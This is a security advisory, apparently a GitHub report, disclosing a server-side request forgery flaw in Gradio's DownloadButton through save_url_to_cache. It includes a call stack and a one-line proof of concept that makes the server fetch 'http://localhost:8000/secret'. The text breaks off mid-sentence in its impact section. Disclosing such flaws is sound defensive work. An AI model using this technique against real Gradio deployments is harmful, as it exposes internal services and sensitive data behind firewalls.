Description

credit:Aftersnows

The gr.DownloadButton function has a hidden SSRF vulnerability. The reason is that within the save_url_to_cache function, there are no restrictions on the URL, which allows access to local target resources. In severe cases, this can lead to the download of local resources and sensitive information. This SSRF call chain is rather concealed, and if users are not careful and expose the functionality of this function, it can lead to serious consequences

The SSRF call process can be explained directly using a function call stack, which is both concise and easy to understand.

-> upload_file("<http://localhost:2333/secret>")
  ssrf.py(6)upload_file()
-> return [gr.UploadButton(visible=False), gr.DownloadButton(label=f"Download {name}", value=filepath, visible=True)]
  /gradio/component_meta.py(167)wrapper()
-> return fn(self, **kwargs)
  /gradio/components/download_button.py(71)__init__()
-> super().__init__(
  /gradio/component_meta.py(167)wrapper()
-> return fn(self, **kwargs)
  /gradio/components/base.py(218)__init__()
-> self.value = move_files_to_cache(
  /gradio/processing_utils.py(418)move_files_to_cache()
-> return client_utils.traverse(data, _move_to_cache, client_utils.is_file_obj)
  /gradio_client/utils.py(975)traverse()
-> return func(json_obj)
  /gradio/processing_utils.py(394)_move_to_cache()
-> temp_file_path = block.move_resource_to_block_cache(payload.path)
  /gradio/blocks.py(339)move_resource_to_block_cache()
-> temp_file_path = processing_utils.save_url_to_cache(
> /gradio/processing_utils.py(268)save_url_to_cache()

Proof of Concept

The official upload_and_download template is as follows:

from pathlib import Path
import gradio as gr

def upload_file(filepath):
    name = Path(filepath).name
    return [gr.UploadButton(visible=False), gr.DownloadButton(label=f"Download {name}", value=filepath, visible=True)]

def download_file():
    return [gr.UploadButton(visible=True), gr.DownloadButton(visible=False)]

with gr.Blocks() as demo:
    gr.Markdown("First upload a file and and then you'll be able download it (but only once!)")
    with gr.Row():
        u = gr.UploadButton("Upload a file", file_count="single")
        d = gr.DownloadButton("Download the file", visible=False)

    u.upload(upload_file, u, [u, d])
    d.click(download_file, None, [u, d])

if __name__ == "__main__":
    demo.launch()

This is the scenario example I used to verify the SSRF vulnerability:

from pathlib import Path
import gradio as gr

def upload_file(filepath):
    name = Path(filepath).name
    return [gr.UploadButton(visible=False), gr.DownloadButton(label=f"Download {name}", value=filepath, visible=True)]

upload_file("<http://localhost:8000/secret>")

https://github.com/user-attachments/assets/9030ffe5-9703-447d-b126-d752e1187643

https://github.com/user-attachments/assets/cc3bb29d-c39b-4c4d-92af-17b9f362fad3

Impact

Allowing user-influenced paths to access internal resources can lead to critical security breaches, such as SSRF attacks, where an attacker might exploit the application to gain unauthorized access to sensitive or private resources and services that are normally protected behind a firewall. This could result in data

credit:Aftersnows@360 Vulnerability Research Institute